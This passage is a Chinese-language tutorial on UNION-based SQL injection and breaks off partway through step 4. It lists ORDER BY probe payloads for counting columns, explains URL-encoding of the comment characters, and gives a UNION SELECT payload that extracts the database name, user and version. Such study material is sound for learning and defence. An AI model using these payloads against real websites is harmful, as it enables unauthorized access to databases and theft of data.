sql注入——union联合注入
union注入是sql注入的一大类型
在做有关sql联合注入时一般用以下思路进行解题:
1.首先要找到能与数据库交互的注入点:
2.测试字段的数量,判断SQL语句查询的列数:
在这里我们使用的命理是order by
通常构造:?id=1’ order by sum–+ 和 1’ order by sum#
这里的sum指代的是数字从1开始逐个测试直至3回显有报错为止:
?id=1’ order by 1–+
?id=1’ order by 2–+
?id=1’ order by 3–+
?id=1’ order by 4–+
?id=1’ order by 5–+
?id=1’ order by 6–+
?id=1’ order by 7–+
……
当出现报错的时候就说明所测试的sum数字是超出了数据库的字段数,那么数据库的字段数就是sum-1
这里有必要说一下这个注释符:
井号(#)在URL中无法使用?
url中#号是用来指导浏览器动作的(例如锚点),对服务器端是无用的。所以,HTTP请求中不包括#,将#号改成url的编码%23就可以了
在SQL语句中注释是(-- )减减空格或者(–’)减减单引号,而在URL中空格会被截掉成空,所以将空格URL编码,用(–%20)也可以。
3.用union命令将两条命令语句联合起来进行查询并拿到相应的数据库名称:
这里因为union命令的性质需要将前面的查询语句的结果报错,所以可以在构造语句的时候可以将ID的值设为数据表中不会出现的值,同时在联合命令database()、user()、version()来回显数据库的名称、用户、当前的版本号。
通常构造:?id=0’ union select 1,2,3,database()–+ 或 0’ union select 1,2,3,database()#
4.在拿到数据库的名称后就需要获取